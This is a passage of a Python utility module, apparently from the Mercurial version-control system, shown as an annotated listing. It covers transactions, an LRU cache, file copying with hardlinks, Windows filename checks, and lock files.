1154 """copy-on-write sortdict
1154
1155
1155 Be sure to call d = d.preparewrite() before writing to d.
1156 Be sure to call d = d.preparewrite() before writing to d.
1156 """
1157 """
1157
1158
1158 class transactional(object):
1159 class transactional(object):
1159 """Base class for making a transactional type into a context manager."""
1160 """Base class for making a transactional type into a context manager."""
1160 __metaclass__ = abc.ABCMeta
1161 __metaclass__ = abc.ABCMeta
1161
1162
1162 @abc.abstractmethod
1163 @abc.abstractmethod
1163 def close(self):
1164 def close(self):
1164 """Successfully closes the transaction."""
1165 """Successfully closes the transaction."""
1165
1166
1166 @abc.abstractmethod
1167 @abc.abstractmethod
1167 def release(self):
1168 def release(self):
1168 """Marks the end of the transaction.
1169 """Marks the end of the transaction.
1169
1170
1170 If the transaction has not been closed, it will be aborted.
1171 If the transaction has not been closed, it will be aborted.
1171 """
1172 """
1172
1173
1173 def __enter__(self):
1174 def __enter__(self):
1174 return self
1175 return self
1175
1176
1176 def __exit__(self, exc_type, exc_val, exc_tb):
1177 def __exit__(self, exc_type, exc_val, exc_tb):
1177 try:
1178 try:
1178 if exc_type is None:
1179 if exc_type is None:
1179 self.close()
1180 self.close()
1180 finally:
1181 finally:
1181 self.release()
1182 self.release()
1182
1183
1183 @contextlib.contextmanager
1184 @contextlib.contextmanager
1184 def acceptintervention(tr=None):
1185 def acceptintervention(tr=None):
1185 """A context manager that closes the transaction on InterventionRequired
1186 """A context manager that closes the transaction on InterventionRequired
1186
1187
1187 If no transaction was provided, this simply runs the body and returns
1188 If no transaction was provided, this simply runs the body and returns
1188 """
1189 """
1189 if not tr:
1190 if not tr:
1190 yield
1191 yield
1191 return
1192 return
1192 try:
1193 try:
1193 yield
1194 yield
1194 tr.close()
1195 tr.close()
1195 except error.InterventionRequired:
1196 except error.InterventionRequired:
1196 tr.close()
1197 tr.close()
1197 raise
1198 raise
1198 finally:
1199 finally:
1199 tr.release()
1200 tr.release()
1200
1201
1201 @contextlib.contextmanager
1202 @contextlib.contextmanager
1202 def nullcontextmanager():
1203 def nullcontextmanager():
1203 yield
1204 yield
1204
1205
1205 class _lrucachenode(object):
1206 class _lrucachenode(object):
1206 """A node in a doubly linked list.
1207 """A node in a doubly linked list.
1207
1208
1208 Holds a reference to nodes on either side as well as a key-value
1209 Holds a reference to nodes on either side as well as a key-value
1209 pair for the dictionary entry.
1210 pair for the dictionary entry.
1210 """
1211 """
1211 __slots__ = (u'next', u'prev', u'key', u'value')
1212 __slots__ = (u'next', u'prev', u'key', u'value')
1212
1213
1213 def __init__(self):
1214 def __init__(self):
1214 self.next = None
1215 self.next = None
1215 self.prev = None
1216 self.prev = None
1216
1217
1217 self.key = _notset
1218 self.key = _notset
1218 self.value = None
1219 self.value = None
1219
1220
1220 def markempty(self):
1221 def markempty(self):
1221 """Mark the node as emptied."""
1222 """Mark the node as emptied."""
1222 self.key = _notset
1223 self.key = _notset
1223
1224
1224 class lrucachedict(object):
1225 class lrucachedict(object):
1225 """Dict that caches most recent accesses and sets.
1226 """Dict that caches most recent accesses and sets.
1226
1227
1227 The dict consists of an actual backing dict - indexed by original
1228 The dict consists of an actual backing dict - indexed by original
1228 key - and a doubly linked circular list defining the order of entries in
1229 key - and a doubly linked circular list defining the order of entries in
1229 the cache.
1230 the cache.
1230
1231
1231 The head node is the newest entry in the cache. If the cache is full,
1232 The head node is the newest entry in the cache. If the cache is full,
1232 we recycle head.prev and make it the new head. Cache accesses result in
1233 we recycle head.prev and make it the new head. Cache accesses result in
1233 the node being moved to before the existing head and being marked as the
1234 the node being moved to before the existing head and being marked as the
1234 new head node.
1235 new head node.
1235 """
1236 """
1236 def __init__(self, max):
1237 def __init__(self, max):
1237 self._cache = {}
1238 self._cache = {}
1238
1239
1239 self._head = head = _lrucachenode()
1240 self._head = head = _lrucachenode()
1240 head.prev = head
1241 head.prev = head
1241 head.next = head
1242 head.next = head
1242 self._size = 1
1243 self._size = 1
1243 self._capacity = max
1244 self._capacity = max
1244
1245
1245 def __len__(self):
1246 def __len__(self):
1246 return len(self._cache)
1247 return len(self._cache)
1247
1248
1248 def __contains__(self, k):
1249 def __contains__(self, k):
1249 return k in self._cache
1250 return k in self._cache
1250
1251
1251 def __iter__(self):
1252 def __iter__(self):
1252 # We don't have to iterate in cache order, but why not.
1253 # We don't have to iterate in cache order, but why not.
1253 n = self._head
1254 n = self._head
1254 for i in range(len(self._cache)):
1255 for i in range(len(self._cache)):
1255 yield n.key
1256 yield n.key
1256 n = n.next
1257 n = n.next
1257
1258
1258 def __getitem__(self, k):
1259 def __getitem__(self, k):
1259 node = self._cache[k]
1260 node = self._cache[k]
1260 self._movetohead(node)
1261 self._movetohead(node)
1261 return node.value
1262 return node.value
1262
1263
1263 def __setitem__(self, k, v):
1264 def __setitem__(self, k, v):
1264 node = self._cache.get(k)
1265 node = self._cache.get(k)
1265 # Replace existing value and mark as newest.
1266 # Replace existing value and mark as newest.
1266 if node is not None:
1267 if node is not None:
1267 node.value = v
1268 node.value = v
1268 self._movetohead(node)
1269 self._movetohead(node)
1269 return
1270 return
1270
1271
1271 if self._size < self._capacity:
1272 if self._size < self._capacity:
1272 node = self._addcapacity()
1273 node = self._addcapacity()
1273 else:
1274 else:
1274 # Grab the last/oldest item.
1275 # Grab the last/oldest item.
1275 node = self._head.prev
1276 node = self._head.prev
1276
1277
1277 # At capacity. Kill the old entry.
1278 # At capacity. Kill the old entry.
1278 if node.key is not _notset:
1279 if node.key is not _notset:
1279 del self._cache[node.key]
1280 del self._cache[node.key]
1280
1281
1281 node.key = k
1282 node.key = k
1282 node.value = v
1283 node.value = v
1283 self._cache[k] = node
1284 self._cache[k] = node
1284 # And mark it as newest entry. No need to adjust order since it
1285 # And mark it as newest entry. No need to adjust order since it
1285 # is already self._head.prev.
1286 # is already self._head.prev.
1286 self._head = node
1287 self._head = node
1287
1288
1288 def __delitem__(self, k):
1289 def __delitem__(self, k):
1289 node = self._cache.pop(k)
1290 node = self._cache.pop(k)
1290 node.markempty()
1291 node.markempty()
1291
1292
1292 # Temporarily mark as newest item before re-adjusting head to make
1293 # Temporarily mark as newest item before re-adjusting head to make
1293 # this node the oldest item.
1294 # this node the oldest item.
1294 self._movetohead(node)
1295 self._movetohead(node)
1295 self._head = node.next
1296 self._head = node.next
1296
1297
1297 # Additional dict methods.
1298 # Additional dict methods.
1298
1299
1299 def get(self, k, default=None):
1300 def get(self, k, default=None):
1300 try:
1301 try:
1301 return self._cache[k].value
1302 return self._cache[k].value
1302 except KeyError:
1303 except KeyError:
1303 return default
1304 return default
1304
1305
1305 def clear(self):
1306 def clear(self):
1306 n = self._head
1307 n = self._head
1307 while n.key is not _notset:
1308 while n.key is not _notset:
1308 n.markempty()
1309 n.markempty()
1309 n = n.next
1310 n = n.next
1310
1311
1311 self._cache.clear()
1312 self._cache.clear()
1312
1313
1313 def copy(self):
1314 def copy(self):
1314 result = lrucachedict(self._capacity)
1315 result = lrucachedict(self._capacity)
1315 n = self._head.prev
1316 n = self._head.prev
1316 # Iterate in oldest-to-newest order, so the copy has the right ordering
1317 # Iterate in oldest-to-newest order, so the copy has the right ordering
1317 for i in range(len(self._cache)):
1318 for i in range(len(self._cache)):
1318 result[n.key] = n.value
1319 result[n.key] = n.value
1319 n = n.prev
1320 n = n.prev
1320 return result
1321 return result
1321
1322
1322 def _movetohead(self, node):
1323 def _movetohead(self, node):
1323 """Mark a node as the newest, making it the new head.
1324 """Mark a node as the newest, making it the new head.
1324
1325
1325 When a node is accessed, it becomes the freshest entry in the LRU
1326 When a node is accessed, it becomes the freshest entry in the LRU
1326 list, which is denoted by self._head.
1327 list, which is denoted by self._head.
1327
1328
1328 Visually, let's make ``N`` the new head node (* denotes head):
1329 Visually, let's make ``N`` the new head node (* denotes head):
1329
1330
1330 previous/oldest <-> head <-> next/next newest
1331 previous/oldest <-> head <-> next/next newest
1331
1332
1332 ----<->--- A* ---<->-----
1333 ----<->--- A* ---<->-----
1333 | |
1334 | |
1334 E <-> D <-> N <-> C <-> B
1335 E <-> D <-> N <-> C <-> B
1335
1336
1336 To:
1337 To:
1337
1338
1338 ----<->--- N* ---<->-----
1339 ----<->--- N* ---<->-----
1339 | |
1340 | |
1340 E <-> D <-> C <-> B <-> A
1341 E <-> D <-> C <-> B <-> A
1341
1342
1342 This requires the following moves:
1343 This requires the following moves:
1343
1344
1344 C.next = D (node.prev.next = node.next)
1345 C.next = D (node.prev.next = node.next)
1345 D.prev = C (node.next.prev = node.prev)
1346 D.prev = C (node.next.prev = node.prev)
1346 E.next = N (head.prev.next = node)
1347 E.next = N (head.prev.next = node)
1347 N.prev = E (node.prev = head.prev)
1348 N.prev = E (node.prev = head.prev)
1348 N.next = A (node.next = head)
1349 N.next = A (node.next = head)
1349 A.prev = N (head.prev = node)
1350 A.prev = N (head.prev = node)
1350 """
1351 """
1351 head = self._head
1352 head = self._head
1352 # C.next = D
1353 # C.next = D
1353 node.prev.next = node.next
1354 node.prev.next = node.next
1354 # D.prev = C
1355 # D.prev = C
1355 node.next.prev = node.prev
1356 node.next.prev = node.prev
1356 # N.prev = E
1357 # N.prev = E
1357 node.prev = head.prev
1358 node.prev = head.prev
1358 # N.next = A
1359 # N.next = A
1359 # It is tempting to do just "head" here, however if node is
1360 # It is tempting to do just "head" here, however if node is
1360 # adjacent to head, this will do bad things.
1361 # adjacent to head, this will do bad things.
1361 node.next = head.prev.next
1362 node.next = head.prev.next
1362 # E.next = N
1363 # E.next = N
1363 node.next.prev = node
1364 node.next.prev = node
1364 # A.prev = N
1365 # A.prev = N
1365 node.prev.next = node
1366 node.prev.next = node
1366
1367
1367 self._head = node
1368 self._head = node
1368
1369
1369 def _addcapacity(self):
1370 def _addcapacity(self):
1370 """Add a node to the circular linked list.
1371 """Add a node to the circular linked list.
1371
1372
1372 The new node is inserted before the head node.
1373 The new node is inserted before the head node.
1373 """
1374 """
1374 head = self._head
1375 head = self._head
1375 node = _lrucachenode()
1376 node = _lrucachenode()
1376 head.prev.next = node
1377 head.prev.next = node
1377 node.prev = head.prev
1378 node.prev = head.prev
1378 node.next = head
1379 node.next = head
1379 head.prev = node
1380 head.prev = node
1380 self._size += 1
1381 self._size += 1
1381 return node
1382 return node
1382
1383
1383 def lrucachefunc(func):
1384 def lrucachefunc(func):
1384 '''cache most recent results of function calls'''
1385 '''cache most recent results of function calls'''
1385 cache = {}
1386 cache = {}
1386 order = collections.deque()
1387 order = collections.deque()
1387 if func.__code__.co_argcount == 1:
1388 if func.__code__.co_argcount == 1:
1388 def f(arg):
1389 def f(arg):
1389 if arg not in cache:
1390 if arg not in cache:
1390 if len(cache) > 20:
1391 if len(cache) > 20:
1391 del cache[order.popleft()]
1392 del cache[order.popleft()]
1392 cache[arg] = func(arg)
1393 cache[arg] = func(arg)
1393 else:
1394 else:
1394 order.remove(arg)
1395 order.remove(arg)
1395 order.append(arg)
1396 order.append(arg)
1396 return cache[arg]
1397 return cache[arg]
1397 else:
1398 else:
1398 def f(*args):
1399 def f(*args):
1399 if args not in cache:
1400 if args not in cache:
1400 if len(cache) > 20:
1401 if len(cache) > 20:
1401 del cache[order.popleft()]
1402 del cache[order.popleft()]
1402 cache[args] = func(*args)
1403 cache[args] = func(*args)
1403 else:
1404 else:
1404 order.remove(args)
1405 order.remove(args)
1405 order.append(args)
1406 order.append(args)
1406 return cache[args]
1407 return cache[args]
1407
1408
1408 return f
1409 return f
1409
1410
1410 class propertycache(object):
1411 class propertycache(object):
1411 def __init__(self, func):
1412 def __init__(self, func):
1412 self.func = func
1413 self.func = func
1413 self.name = func.__name__
1414 self.name = func.__name__
1414 def __get__(self, obj, type=None):
1415 def __get__(self, obj, type=None):
1415 result = self.func(obj)
1416 result = self.func(obj)
1416 self.cachevalue(obj, result)
1417 self.cachevalue(obj, result)
1417 return result
1418 return result
1418
1419
1419 def cachevalue(self, obj, value):
1420 def cachevalue(self, obj, value):
1420 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1421 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1421 obj.__dict__[self.name] = value
1422 obj.__dict__[self.name] = value
1422
1423
1423 def clearcachedproperty(obj, prop):
1424 def clearcachedproperty(obj, prop):
1424 '''clear a cached property value, if one has been set'''
1425 '''clear a cached property value, if one has been set'''
1425 if prop in obj.__dict__:
1426 if prop in obj.__dict__:
1426 del obj.__dict__[prop]
1427 del obj.__dict__[prop]
1427
1428
1428 def increasingchunks(source, min=1024, max=65536):
1429 def increasingchunks(source, min=1024, max=65536):
1429 '''return no less than min bytes per chunk while data remains,
1430 '''return no less than min bytes per chunk while data remains,
1430 doubling min after each chunk until it reaches max'''
1431 doubling min after each chunk until it reaches max'''
1431 def log2(x):
1432 def log2(x):
1432 if not x:
1433 if not x:
1433 return 0
1434 return 0
1434 i = 0
1435 i = 0
1435 while x:
1436 while x:
1436 x >>= 1
1437 x >>= 1
1437 i += 1
1438 i += 1
1438 return i - 1
1439 return i - 1
1439
1440
1440 buf = []
1441 buf = []
1441 blen = 0
1442 blen = 0
1442 for chunk in source:
1443 for chunk in source:
1443 buf.append(chunk)
1444 buf.append(chunk)
1444 blen += len(chunk)
1445 blen += len(chunk)
1445 if blen >= min:
1446 if blen >= min:
1446 if min < max:
1447 if min < max:
1447 min = min << 1
1448 min = min << 1
1448 nmin = 1 << log2(blen)
1449 nmin = 1 << log2(blen)
1449 if nmin > min:
1450 if nmin > min:
1450 min = nmin
1451 min = nmin
1451 if min > max:
1452 if min > max:
1452 min = max
1453 min = max
1453 yield ''.join(buf)
1454 yield ''.join(buf)
1454 blen = 0
1455 blen = 0
1455 buf = []
1456 buf = []
1456 if buf:
1457 if buf:
1457 yield ''.join(buf)
1458 yield ''.join(buf)
1458
1459
1459 def always(fn):
1460 def always(fn):
1460 return True
1461 return True
1461
1462
1462 def never(fn):
1463 def never(fn):
1463 return False
1464 return False
1464
1465
1465 def nogc(func):
1466 def nogc(func):
1466 """disable garbage collector
1467 """disable garbage collector
1467
1468
1468 Python's garbage collector triggers a GC each time a certain number of
1469 Python's garbage collector triggers a GC each time a certain number of
1469 container objects (the number being defined by gc.get_threshold()) are
1470 container objects (the number being defined by gc.get_threshold()) are
1470 allocated even when marked not to be tracked by the collector. Tracking has
1471 allocated even when marked not to be tracked by the collector. Tracking has
1471 no effect on when GCs are triggered, only on what objects the GC looks
1472 no effect on when GCs are triggered, only on what objects the GC looks
1472 into. As a workaround, disable GC while building complex (huge)
1473 into. As a workaround, disable GC while building complex (huge)
1473 containers.
1474 containers.
1474
1475
1475 This garbage collector issue have been fixed in 2.7. But it still affect
1476 This garbage collector issue have been fixed in 2.7. But it still affect
1476 CPython's performance.
1477 CPython's performance.
1477 """
1478 """
1478 def wrapper(*args, **kwargs):
1479 def wrapper(*args, **kwargs):
1479 gcenabled = gc.isenabled()
1480 gcenabled = gc.isenabled()
1480 gc.disable()
1481 gc.disable()
1481 try:
1482 try:
1482 return func(*args, **kwargs)
1483 return func(*args, **kwargs)
1483 finally:
1484 finally:
1484 if gcenabled:
1485 if gcenabled:
1485 gc.enable()
1486 gc.enable()
1486 return wrapper
1487 return wrapper
1487
1488
1488 if pycompat.ispypy:
1489 if pycompat.ispypy:
1489 # PyPy runs slower with gc disabled
1490 # PyPy runs slower with gc disabled
1490 nogc = lambda x: x
1491 nogc = lambda x: x
1491
1492
1492 def pathto(root, n1, n2):
1493 def pathto(root, n1, n2):
1493 '''return the relative path from one place to another.
1494 '''return the relative path from one place to another.
1494 root should use os.sep to separate directories
1495 root should use os.sep to separate directories
1495 n1 should use os.sep to separate directories
1496 n1 should use os.sep to separate directories
1496 n2 should use "/" to separate directories
1497 n2 should use "/" to separate directories
1497 returns an os.sep-separated path.
1498 returns an os.sep-separated path.
1498
1499
1499 If n1 is a relative path, it's assumed it's
1500 If n1 is a relative path, it's assumed it's
1500 relative to root.
1501 relative to root.
1501 n2 should always be relative to root.
1502 n2 should always be relative to root.
1502 '''
1503 '''
1503 if not n1:
1504 if not n1:
1504 return localpath(n2)
1505 return localpath(n2)
1505 if os.path.isabs(n1):
1506 if os.path.isabs(n1):
1506 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1507 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1507 return os.path.join(root, localpath(n2))
1508 return os.path.join(root, localpath(n2))
1508 n2 = '/'.join((pconvert(root), n2))
1509 n2 = '/'.join((pconvert(root), n2))
1509 a, b = splitpath(n1), n2.split('/')
1510 a, b = splitpath(n1), n2.split('/')
1510 a.reverse()
1511 a.reverse()
1511 b.reverse()
1512 b.reverse()
1512 while a and b and a[-1] == b[-1]:
1513 while a and b and a[-1] == b[-1]:
1513 a.pop()
1514 a.pop()
1514 b.pop()
1515 b.pop()
1515 b.reverse()
1516 b.reverse()
1516 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1517 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1517
1518
1518 # the location of data files matching the source code
1519 # the location of data files matching the source code
1519 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1520 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1520 # executable version (py2exe) doesn't support __file__
1521 # executable version (py2exe) doesn't support __file__
1521 datapath = os.path.dirname(pycompat.sysexecutable)
1522 datapath = os.path.dirname(pycompat.sysexecutable)
1522 else:
1523 else:
1523 datapath = os.path.dirname(pycompat.fsencode(__file__))
1524 datapath = os.path.dirname(pycompat.fsencode(__file__))
1524
1525
1525 i18n.setdatapath(datapath)
1526 i18n.setdatapath(datapath)
1526
1527
1527 def checksignature(func):
1528 def checksignature(func):
1528 '''wrap a function with code to check for calling errors'''
1529 '''wrap a function with code to check for calling errors'''
1529 def check(*args, **kwargs):
1530 def check(*args, **kwargs):
1530 try:
1531 try:
1531 return func(*args, **kwargs)
1532 return func(*args, **kwargs)
1532 except TypeError:
1533 except TypeError:
1533 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1534 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1534 raise error.SignatureError
1535 raise error.SignatureError
1535 raise
1536 raise
1536
1537
1537 return check
1538 return check
1538
1539
1539 # a whilelist of known filesystems where hardlink works reliably
1540 # a whilelist of known filesystems where hardlink works reliably
1540 _hardlinkfswhitelist = {
1541 _hardlinkfswhitelist = {
1541 'apfs',
1542 'apfs',
1542 'btrfs',
1543 'btrfs',
1543 'ext2',
1544 'ext2',
1544 'ext3',
1545 'ext3',
1545 'ext4',
1546 'ext4',
1546 'hfs',
1547 'hfs',
1547 'jfs',
1548 'jfs',
1548 'NTFS',
1549 'NTFS',
1549 'reiserfs',
1550 'reiserfs',
1550 'tmpfs',
1551 'tmpfs',
1551 'ufs',
1552 'ufs',
1552 'xfs',
1553 'xfs',
1553 'zfs',
1554 'zfs',
1554 }
1555 }
1555
1556
1556 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1557 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1557 '''copy a file, preserving mode and optionally other stat info like
1558 '''copy a file, preserving mode and optionally other stat info like
1558 atime/mtime
1559 atime/mtime
1559
1560
1560 checkambig argument is used with filestat, and is useful only if
1561 checkambig argument is used with filestat, and is useful only if
1561 destination file is guarded by any lock (e.g. repo.lock or
1562 destination file is guarded by any lock (e.g. repo.lock or
1562 repo.wlock).
1563 repo.wlock).
1563
1564
1564 copystat and checkambig should be exclusive.
1565 copystat and checkambig should be exclusive.
1565 '''
1566 '''
1566 assert not (copystat and checkambig)
1567 assert not (copystat and checkambig)
1567 oldstat = None
1568 oldstat = None
1568 if os.path.lexists(dest):
1569 if os.path.lexists(dest):
1569 if checkambig:
1570 if checkambig:
1570 oldstat = checkambig and filestat.frompath(dest)
1571 oldstat = checkambig and filestat.frompath(dest)
1571 unlink(dest)
1572 unlink(dest)
1572 if hardlink:
1573 if hardlink:
1573 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1574 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1574 # unless we are confident that dest is on a whitelisted filesystem.
1575 # unless we are confident that dest is on a whitelisted filesystem.
1575 try:
1576 try:
1576 fstype = getfstype(os.path.dirname(dest))
1577 fstype = getfstype(os.path.dirname(dest))
1577 except OSError:
1578 except OSError:
1578 fstype = None
1579 fstype = None
1579 if fstype not in _hardlinkfswhitelist:
1580 if fstype not in _hardlinkfswhitelist:
1580 hardlink = False
1581 hardlink = False
1581 if hardlink:
1582 if hardlink:
1582 try:
1583 try:
1583 oslink(src, dest)
1584 oslink(src, dest)
1584 return
1585 return
1585 except (IOError, OSError):
1586 except (IOError, OSError):
1586 pass # fall back to normal copy
1587 pass # fall back to normal copy
1587 if os.path.islink(src):
1588 if os.path.islink(src):
1588 os.symlink(os.readlink(src), dest)
1589 os.symlink(os.readlink(src), dest)
1589 # copytime is ignored for symlinks, but in general copytime isn't needed
1590 # copytime is ignored for symlinks, but in general copytime isn't needed
1590 # for them anyway
1591 # for them anyway
1591 else:
1592 else:
1592 try:
1593 try:
1593 shutil.copyfile(src, dest)
1594 shutil.copyfile(src, dest)
1594 if copystat:
1595 if copystat:
1595 # copystat also copies mode
1596 # copystat also copies mode
1596 shutil.copystat(src, dest)
1597 shutil.copystat(src, dest)
1597 else:
1598 else:
1598 shutil.copymode(src, dest)
1599 shutil.copymode(src, dest)
1599 if oldstat and oldstat.stat:
1600 if oldstat and oldstat.stat:
1600 newstat = filestat.frompath(dest)
1601 newstat = filestat.frompath(dest)
1601 if newstat.isambig(oldstat):
1602 if newstat.isambig(oldstat):
1602 # stat of copied file is ambiguous to original one
1603 # stat of copied file is ambiguous to original one
1603 advanced = (
1604 advanced = (
1604 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1605 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1605 os.utime(dest, (advanced, advanced))
1606 os.utime(dest, (advanced, advanced))
1606 except shutil.Error as inst:
1607 except shutil.Error as inst:
1607 raise error.Abort(str(inst))
1608 raise error.Abort(str(inst))
1608
1609
1609 def copyfiles(src, dst, hardlink=None, progress=None):
1610 def copyfiles(src, dst, hardlink=None, progress=None):
1610 """Copy a directory tree using hardlinks if possible."""
1611 """Copy a directory tree using hardlinks if possible."""
1611 num = 0
1612 num = 0
1612
1613
1613 def settopic():
1614 def settopic():
1614 if progress:
1615 if progress:
1615 progress.topic = _('linking') if hardlink else _('copying')
1616 progress.topic = _('linking') if hardlink else _('copying')
1616
1617
1617 if os.path.isdir(src):
1618 if os.path.isdir(src):
1618 if hardlink is None:
1619 if hardlink is None:
1619 hardlink = (os.stat(src).st_dev ==
1620 hardlink = (os.stat(src).st_dev ==
1620 os.stat(os.path.dirname(dst)).st_dev)
1621 os.stat(os.path.dirname(dst)).st_dev)
1621 settopic()
1622 settopic()
1622 os.mkdir(dst)
1623 os.mkdir(dst)
1623 for name, kind in listdir(src):
1624 for name, kind in listdir(src):
1624 srcname = os.path.join(src, name)
1625 srcname = os.path.join(src, name)
1625 dstname = os.path.join(dst, name)
1626 dstname = os.path.join(dst, name)
1626 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1627 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1627 num += n
1628 num += n
1628 else:
1629 else:
1629 if hardlink is None:
1630 if hardlink is None:
1630 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1631 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1631 os.stat(os.path.dirname(dst)).st_dev)
1632 os.stat(os.path.dirname(dst)).st_dev)
1632 settopic()
1633 settopic()
1633
1634
1634 if hardlink:
1635 if hardlink:
1635 try:
1636 try:
1636 oslink(src, dst)
1637 oslink(src, dst)
1637 except (IOError, OSError):
1638 except (IOError, OSError):
1638 hardlink = False
1639 hardlink = False
1639 shutil.copy(src, dst)
1640 shutil.copy(src, dst)
1640 else:
1641 else:
1641 shutil.copy(src, dst)
1642 shutil.copy(src, dst)
1642 num += 1
1643 num += 1
1643 if progress:
1644 if progress:
1644 progress.increment()
1645 progress.increment()
1645
1646
1646 return hardlink, num
1647 return hardlink, num
1647
1648
1648 _winreservednames = {
1649 _winreservednames = {
1649 'con', 'prn', 'aux', 'nul',
1650 'con', 'prn', 'aux', 'nul',
1650 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1651 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1651 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1652 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1652 }
1653 }
1653 _winreservedchars = ':*?"<>|'
1654 _winreservedchars = ':*?"<>|'
1654 def checkwinfilename(path):
1655 def checkwinfilename(path):
1655 r'''Check that the base-relative path is a valid filename on Windows.
1656 r'''Check that the base-relative path is a valid filename on Windows.
1656 Returns None if the path is ok, or a UI string describing the problem.
1657 Returns None if the path is ok, or a UI string describing the problem.
1657
1658
1658 >>> checkwinfilename(b"just/a/normal/path")
1659 >>> checkwinfilename(b"just/a/normal/path")
1659 >>> checkwinfilename(b"foo/bar/con.xml")
1660 >>> checkwinfilename(b"foo/bar/con.xml")
1660 "filename contains 'con', which is reserved on Windows"
1661 "filename contains 'con', which is reserved on Windows"
1661 >>> checkwinfilename(b"foo/con.xml/bar")
1662 >>> checkwinfilename(b"foo/con.xml/bar")
1662 "filename contains 'con', which is reserved on Windows"
1663 "filename contains 'con', which is reserved on Windows"
1663 >>> checkwinfilename(b"foo/bar/xml.con")
1664 >>> checkwinfilename(b"foo/bar/xml.con")
1664 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1665 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1665 "filename contains 'AUX', which is reserved on Windows"
1666 "filename contains 'AUX', which is reserved on Windows"
1666 >>> checkwinfilename(b"foo/bar/bla:.txt")
1667 >>> checkwinfilename(b"foo/bar/bla:.txt")
1667 "filename contains ':', which is reserved on Windows"
1668 "filename contains ':', which is reserved on Windows"
1668 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1669 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1669 "filename contains '\\x07', which is invalid on Windows"
1670 "filename contains '\\x07', which is invalid on Windows"
1670 >>> checkwinfilename(b"foo/bar/bla ")
1671 >>> checkwinfilename(b"foo/bar/bla ")
1671 "filename ends with ' ', which is not allowed on Windows"
1672 "filename ends with ' ', which is not allowed on Windows"
1672 >>> checkwinfilename(b"../bar")
1673 >>> checkwinfilename(b"../bar")
1673 >>> checkwinfilename(b"foo\\")
1674 >>> checkwinfilename(b"foo\\")
1674 "filename ends with '\\', which is invalid on Windows"
1675 "filename ends with '\\', which is invalid on Windows"
1675 >>> checkwinfilename(b"foo\\/bar")
1676 >>> checkwinfilename(b"foo\\/bar")
1676 "directory name ends with '\\', which is invalid on Windows"
1677 "directory name ends with '\\', which is invalid on Windows"
1677 '''
1678 '''
1678 if path.endswith('\\'):
1679 if path.endswith('\\'):
1679 return _("filename ends with '\\', which is invalid on Windows")
1680 return _("filename ends with '\\', which is invalid on Windows")
1680 if '\\/' in path:
1681 if '\\/' in path:
1681 return _("directory name ends with '\\', which is invalid on Windows")
1682 return _("directory name ends with '\\', which is invalid on Windows")
1682 for n in path.replace('\\', '/').split('/'):
1683 for n in path.replace('\\', '/').split('/'):
1683 if not n:
1684 if not n:
1684 continue
1685 continue
1685 for c in _filenamebytestr(n):
1686 for c in _filenamebytestr(n):
1686 if c in _winreservedchars:
1687 if c in _winreservedchars:
1687 return _("filename contains '%s', which is reserved "
1688 return _("filename contains '%s', which is reserved "
1688 "on Windows") % c
1689 "on Windows") % c
1689 if ord(c) <= 31:
1690 if ord(c) <= 31:
1690 return _("filename contains '%s', which is invalid "
1691 return _("filename contains '%s', which is invalid "
1691 "on Windows") % stringutil.escapestr(c)
1692 "on Windows") % stringutil.escapestr(c)
1692 base = n.split('.')[0]
1693 base = n.split('.')[0]
1693 if base and base.lower() in _winreservednames:
1694 if base and base.lower() in _winreservednames:
1694 return _("filename contains '%s', which is reserved "
1695 return _("filename contains '%s', which is reserved "
1695 "on Windows") % base
1696 "on Windows") % base
1696 t = n[-1:]
1697 t = n[-1:]
1697 if t in '. ' and n not in '..':
1698 if t in '. ' and n not in '..':
1698 return _("filename ends with '%s', which is not allowed "
1699 return _("filename ends with '%s', which is not allowed "
1699 "on Windows") % t
1700 "on Windows") % t
1700
1701
1701 if pycompat.iswindows:
1702 if pycompat.iswindows:
1702 checkosfilename = checkwinfilename
1703 checkosfilename = checkwinfilename
1703 timer = time.clock
1704 timer = time.clock
1704 else:
1705 else:
1705 checkosfilename = platform.checkosfilename
1706 checkosfilename = platform.checkosfilename
1706 timer = time.time
1707 timer = time.time
1707
1708
1708 if safehasattr(time, "perf_counter"):
1709 if safehasattr(time, "perf_counter"):
1709 timer = time.perf_counter
1710 timer = time.perf_counter
1710
1711
1711 def makelock(info, pathname):
1712 def makelock(info, pathname):
1712 """Create a lock file atomically if possible
1713 """Create a lock file atomically if possible
1713
1714
1714 This may leave a stale lock file if symlink isn't supported and signal
1715 This may leave a stale lock file if symlink isn't supported and signal
1715 interrupt is enabled.
1716 interrupt is enabled.
1716 """
1717 """
1717 try:
1718 try:
1718 return os.symlink(info, pathname)
1719 return os.symlink(info, pathname)
1719 except OSError as why:
1720 except OSError as why:
1720 if why.errno == errno.EEXIST:
1721 if why.errno == errno.EEXIST:
1721 raise
1722 raise
1722 except AttributeError: # no symlink in os
1723 except AttributeError: # no symlink in os
1723 pass
1724 pass
1724
1725
